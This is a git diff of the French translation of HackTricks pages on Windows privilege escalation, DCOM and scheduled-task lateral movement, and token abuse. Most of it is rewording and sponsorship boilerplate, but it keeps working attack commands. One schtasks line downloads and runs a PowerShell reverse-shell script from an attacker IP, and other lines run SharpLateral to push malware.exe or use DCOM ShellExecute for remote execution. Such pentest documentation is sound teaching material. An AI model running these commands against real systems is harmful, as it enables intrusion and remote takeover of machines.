Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) que vous pourriez utiliser ? -* [ ] Informations intéressantes sur les [**identifiants DPAPI**](windows-local-privilege-escalation/#dpapi) ? -* [ ] Mots de passe des [**réseaux Wifi enregistrés**](windows-local-privilege-escalation/#wifi) ? +* [ ] [**Informations d'identification Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) +* [ ] [**Coffre Windows**](windows-local-privilege-escalation/#credentials-manager-windows-vault) des informations d'identification que vous pourriez utiliser ? +* [ ] Informations intéressantes sur les [**informations d'identification DPAPI**](windows-local-privilege-escalation/#dpapi) ? +* [ ] Mots de passe des réseaux [**Wifi enregistrés**](windows-local-privilege-escalation/#wifi) ? * [ ] Informations intéressantes dans les [**connexions RDP enregistrées**](windows-local-privilege-escalation/#saved-rdp-connections) ? * [ ] Mots de passe dans les [**commandes récemment exécutées**](windows-local-privilege-escalation/#recently-run-commands) ? -* [ ] Mots de passe du [**Gestionnaire d'identifiants de Bureau à distance**](windows-local-privilege-escalation/#remote-desktop-credential-manager) ? -* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe) ? Identifiants ? +* [ ] [**Gestionnaire de mots de passe Bureau à distance**](windows-local-privilege-escalation/#remote-desktop-credential-manager) mots de passe ? +* [ ] [**AppCmd.exe** existe](windows-local-privilege-escalation/#appcmd-exe) ? Informations d'identification ? * [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm) ? Chargement latéral de DLL ? -### [Fichiers et Registre (Identifiants)](windows-local-privilege-escalation/#files-and-registry-credentials) +### [Fichiers et Registre (Informations d'identification)](windows-local-privilege-escalation/#files-and-registry-credentials) -* [ ] **Putty :** [**Identifiants**](windows-local-privilege-escalation/#putty-creds) **et** [**clés d'hôte SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys) +* [ ] **Putty :** [**Informations d'identification**](windows-local-privilege-escalation/#putty-creds) **et** [**clés hôtes SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys) * [ ] [**Clés SSH dans le registre**](windows-local-privilege-escalation/#ssh-keys-in-registry) ? -* [ ] Mots de passe dans les [**fichiers non surveillés**](windows-local-privilege-escalation/#unattended-files) ? -* [ ] Une sauvegarde [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) ? -* [ ] [**Identifiants Cloud**](windows-local-privilege-escalation/#cloud-credentials) ? -* [ ] Fichier [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) ? -* [ ] [**Mot de passe GPP en cache**](windows-local-privilege-escalation/#cached-gpp-pasword) ? +* [ ] Mots de passe dans les [**fichiers non assistés**](windows-local-privilege-escalation/#unattended-files) ? +* [ ] Une sauvegarde de [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups) ? +* [ ] [**Informations d'identification Cloud**](windows-local-privilege-escalation/#cloud-credentials) ? +* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) ? +* [ ] [**Mot de passe GPP mis en cache**](windows-local-privilege-escalation/#cached-gpp-pasword) ? * [ ] Mot de passe dans le [**fichier de configuration Web IIS**](windows-local-privilege-escalation/#iis-web-config) ? -* [ ] Informations intéressantes dans les [**logs web**](windows-local-privilege-escalation/#logs) ? -* [ ] Voulez-vous [**demander des identifiants**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur ? +* [ ] Informations intéressantes dans les [**logs Web**](windows-local-privilege-escalation/#logs) ? +* [ ] Voulez-vous [**demander des informations d'identification**](windows-local-privilege-escalation/#ask-for-credentials) à l'utilisateur ? * [ ] Fichiers intéressants dans la [**Corbeille**](windows-local-privilege-escalation/#credentials-in-the-recyclebin) ? -* [ ] Autres [**registres contenant des identifiants**](windows-local-privilege-escalation/#inside-the-registry) ? -* [ ] À l'intérieur des [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (dbs, historique, favoris, ...) ? -* [ ] [**Recherche générique de mots de passe**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre +* [ ] Autres [**registres contenant des informations d'identification**](windows-local-privilege-escalation/#inside-the-registry) ? +* [ ] Dans les [**données du navigateur**](windows-local-privilege-escalation/#browsers-history) (bases de données, historique, favoris, ...) ? +* [ ] [**Recherche de mots de passe génériques**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) dans les fichiers et le registre * [ ] [**Outils**](windows-local-privilege-escalation/#tools-that-search-for-passwords) pour rechercher automatiquement des mots de passe ### [Gestionnaires divulgués](windows-local-privilege-escalation/#leaked-handlers) * [ ] Avez-vous accès à un gestionnaire d'un processus exécuté par l'administrateur ? -### [Usurpation de client de pipe](windows-local-privilege-escalation/#named-pipe-client-impersonation) +### [Impersonation du client de canal nommé](windows-local-privilege-escalation/#named-pipe-client-impersonation) * [ ] Vérifiez si vous pouvez en abuser - -
- -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! - -Autres moyens de soutenir HackTricks : - -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). - -
diff --git a/windows-hardening/lateral-movement/README.md b/windows-hardening/lateral-movement/README.md index ebbc081d2..e6cad2f66 100644 --- a/windows-hardening/lateral-movement/README.md +++ b/windows-hardening/lateral-movement/README.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -20,6 +20,18 @@ Il existe différentes façons d'exécuter des commandes dans des systèmes exte * [**AtExec / SchtasksExec**](../ntlm/atexec.md) * [**WinRM**](../ntlm/winrm.md) * [**DCOM Exec**](dcom-exec.md) -* [**Transmettre le cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud) -* [**Transmettre le PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud) -* [**Transmettre le certificat AzureAD**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud) +* [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud) +* [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud) +* [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud) + +
+ +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! + +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. + +
diff --git a/windows-hardening/lateral-movement/dcom-exec.md b/windows-hardening/lateral-movement/dcom-exec.md index 6f2cdfa50..fc41ade4b 100644 --- a/windows-hardening/lateral-movement/dcom-exec.md +++ b/windows-hardening/lateral-movement/dcom-exec.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -29,7 +29,7 @@ Les objets du modèle d'objet de composant distribué (DCOM) offrent une capacit ```bash Get-CimInstance Win32_DCOMApplication ``` -L'objet COM, [Classe d'application MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permet le scriptage des opérations de module enfichable MMC. Notamment, cet objet contient une méthode `ExecuteShellCommand` sous `Document.ActiveView`. Plus d'informations sur cette méthode peuvent être trouvées [ici](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Vérifiez en exécutant : +L'objet COM, [Classe d'application MMC (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), permet le scriptage des opérations de la console MMC. Notamment, cet objet contient une méthode `ExecuteShellCommand` sous `Document.ActiveView`. Plus d'informations sur cette méthode peuvent être trouvées [ici](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Vérifiez son exécution : Cette fonctionnalité facilite l'exécution de commandes sur un réseau via une application DCOM. Pour interagir avec DCOM à distance en tant qu'administrateur, PowerShell peut être utilisé comme suit : ```powershell @@ -57,12 +57,12 @@ ls \\10.10.10.10\c$\Users L'objet **MMC20.Application** a été identifié comme manquant de "LaunchPermissions" explicites, se contentant des autorisations permettant l'accès aux administrateurs. Pour plus de détails, un fil peut être exploré [ici](https://twitter.com/tiraniddo/status/817532039771525120), et l'utilisation de [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET pour filtrer les objets sans autorisation de lancement explicite est recommandée. -Deux objets spécifiques, `ShellBrowserWindow` et `ShellWindows`, ont été mis en évidence en raison de leur absence d'autorisations de lancement explicites. L'absence d'une entrée de registre `LaunchPermission` sous `HKCR:\AppID\{guid}` signifie l'absence d'autorisations explicites. +Deux objets spécifiques, `ShellBrowserWindow` et `ShellWindows`, ont été mis en avant en raison de leur absence de Launch Permissions explicites. L'absence d'une entrée de registre `LaunchPermission` sous `HKCR:\AppID\{guid}` signifie l'absence d'autorisations explicites. ### ShellWindows -Pour `ShellWindows`, qui ne possède pas de ProgID, les méthodes .NET `Type.GetTypeFromCLSID` et `Activator.CreateInstance` facilitent l'instanciation d'objets en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de `ShellWindows`. Une fois instancié, l'interaction est possible via la méthode `WindowsShell.Item`, conduisant à l'invocation de méthodes telles que `Document.Application.ShellExecute`. +Pour `ShellWindows`, qui ne possède pas de ProgID, les méthodes .NET `Type.GetTypeFromCLSID` et `Activator.CreateInstance` facilitent l'instanciation de l'objet en utilisant son AppID. Ce processus exploite OleView .NET pour récupérer le CLSID de `ShellWindows`. Une fois instanciée, l'interaction est possible via la méthode `WindowsShell.Item`, permettant l'invocation de méthodes telles que `Document.Application.ShellExecute`. -Des exemples de commandes PowerShell ont été fournis pour instancier l'objet et exécuter des commandes à distance: +Des commandes PowerShell d'exemple ont été fournies pour instancier l'objet et exécuter des commandes à distance: ```powershell $com = [Type]::GetTypeFromCLSID("", "") $obj = [System.Activator]::CreateInstance($com) @@ -73,7 +73,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy Le mouvement latéral peut être réalisé en exploitant les objets DCOM Excel. Pour des informations détaillées, il est conseillé de lire la discussion sur l'utilisation de Excel DDE pour le mouvement latéral via DCOM sur le [blog de Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom). -Le projet Empire fournit un script PowerShell, qui démontre l'utilisation d'Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous des extraits du script disponible sur le [dépôt GitHub d'Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), présentant différentes méthodes pour abuser d'Excel pour le RCE: +Le projet Empire fournit un script PowerShell, qui démontre l'utilisation d'Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous des extraits du script disponible sur le [dépôt GitHub d'Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), montrant différentes méthodes pour abuser d'Excel pour le RCE: ```powershell # Detection of Office version elseif ($Method -Match "DetectOffice") { @@ -109,7 +109,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ## Outils Automatiques * Le script Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) permet d'invoquer facilement toutes les méthodes commentées pour exécuter du code sur d'autres machines. -* Vous pourriez également utiliser [**SharpLateral**](https://github.com/mertdas/SharpLateral): +* Vous pourriez également utiliser [**SharpLateral**](https://github.com/mertdas/SharpLateral) : ```bash SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe ``` @@ -133,7 +133,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/windows-hardening/ntlm/atexec.md b/windows-hardening/ntlm/atexec.md index 3d26c4ffa..366030850 100644 --- a/windows-hardening/ntlm/atexec.md +++ b/windows-hardening/ntlm/atexec.md @@ -2,64 +2,60 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Comment ça fonctionne +## Comment ça marche -At permet de planifier des tâches sur des hôtes où vous connaissez le nom d'utilisateur/(mot de passe/Hash). Vous pouvez donc l'utiliser pour exécuter des commandes sur d'autres hôtes et obtenir le résultat. +At permet de planifier des tâches sur des hôtes où vous connaissez le nom d'utilisateur/(mot de passe/Hash). Ainsi, vous pouvez l'utiliser pour exécuter des commandes sur d'autres hôtes et obtenir la sortie. ``` At \\victim 11:00:00PM shutdown -r ``` -Utilisant schtasks, vous devez d'abord créer la tâche, puis l'appeler : +En utilisant schtasks, vous devez d'abord créer la tâche, puis l'appeler : {% code overflow="wrap" %} ```bash schtasks /create /n /tr C:\path\executable.exe /sc once /st 00:00 /S /RU System schtasks /run /tn /S ``` -``` {% endcode %} {% code overflow="wrap" %} -``` ```bash schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'" schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local ``` -```markdown -Vous pouvez également utiliser [SharpLateral](https://github.com/mertdas/SharpLateral) : +{% endcode %} + +Vous pouvez également utiliser [SharpLateral](https://github.com/mertdas/SharpLateral) : {% code overflow="wrap" %} -``` ```bash SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName ``` -```markdown {% endcode %} -Plus d'informations sur [**l'utilisation de schtasks avec des silver tickets ici**](../active-directory-methodology/silver-ticket.md#host). +Plus d'informations sur l'[**utilisation de schtasks avec des tickets argentés ici**](../active-directory-methodology/silver-ticket.md#host).
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
-``` diff --git a/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index 9a124b490..3c2b087e3 100644 --- a/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -2,14 +2,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -18,14 +18,14 @@ Autres façons de soutenir HackTricks :
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md index 6dd7e8fd5..5a113bd81 100644 --- a/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md +++ b/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -20,7 +20,7 @@ Si vous **ne savez pas ce que sont les jetons d'accès Windows**, lisez cette pa [access-tokens.md](../access-tokens.md) {% endcontent-ref %} -**Peut-être pourriez-vous escalader les privilèges en abusant des jetons que vous avez déjà** +**Peut-être pourriez-vous être en mesure d'escalader les privilèges en abusant des jetons que vous avez déjà** ### SeImpersonatePrivilege @@ -37,8 +37,8 @@ Il s'agit d'un privilège détenu par n'importe quel processus qui permet l'impe ### SeAssignPrimaryPrivilege Il est très similaire à **SeImpersonatePrivilege**, il utilisera la **même méthode** pour obtenir un jeton privilégié.\ -Ensuite, ce privilège permet de **assigner un jeton principal** à un processus nouveau/en attente. Avec le jeton d'impersonation privilégié, vous pouvez dériver un jeton principal (DuplicateTokenEx).\ -Avec le jeton, vous pouvez créer un **nouveau processus** avec 'CreateProcessAsUser' ou créer un processus en attente et **définir le jeton** (en général, vous ne pouvez pas modifier le jeton principal d'un processus en cours d'exécution). +Ensuite, ce privilège permet de **assigner un jeton principal** à un processus nouveau/suspendu. Avec le jeton d'impersonation privilégié, vous pouvez dériver un jeton principal (DuplicateTokenEx).\ +Avec le jeton, vous pouvez créer un **nouveau processus** avec 'CreateProcessAsUser' ou créer un processus suspendu et **définir le jeton** (en général, vous ne pouvez pas modifier le jeton principal d'un processus en cours d'exécution). ### SeTcbPrivilege @@ -46,7 +46,7 @@ Si vous avez activé ce jeton, vous pouvez utiliser **KERB\_S4U\_LOGON** pour ob ### SeBackupPrivilege -Le système est amené à **accorder un accès en lecture** à n'importe quel fichier (limité aux opérations de lecture) par ce privilège. Il est utilisé pour **lire les hachages de mots de passe des comptes Administrateur locaux** à partir du registre, après quoi, des outils comme "**psexec**" ou "**wmicexec**" peuvent être utilisés avec le hachage (technique Pass-the-Hash). Cependant, cette technique échoue dans deux cas : lorsque le compte Administrateur local est désactivé, ou lorsqu'une stratégie est en place qui supprime les droits administratifs des administrateurs locaux se connectant à distance.\ +Le système est amené à **accorder un accès en lecture** à n'importe quel fichier (limité aux opérations de lecture) par ce privilège. Il est utilisé pour **lire les hachages de mots de passe des comptes Administrateur locaux** à partir du registre, après quoi, des outils comme "**psexec**" ou "**wmicexec**" peuvent être utilisés avec le hachage (technique Pass-the-Hash). Cependant, cette technique échoue dans deux cas : lorsque le compte Administrateur local est désactivé, ou lorsqu'une stratégie est en place qui supprime les droits administratifs des Administrateurs locaux se connectant à distance.\ Vous pouvez **abuser de ce privilège** avec : * 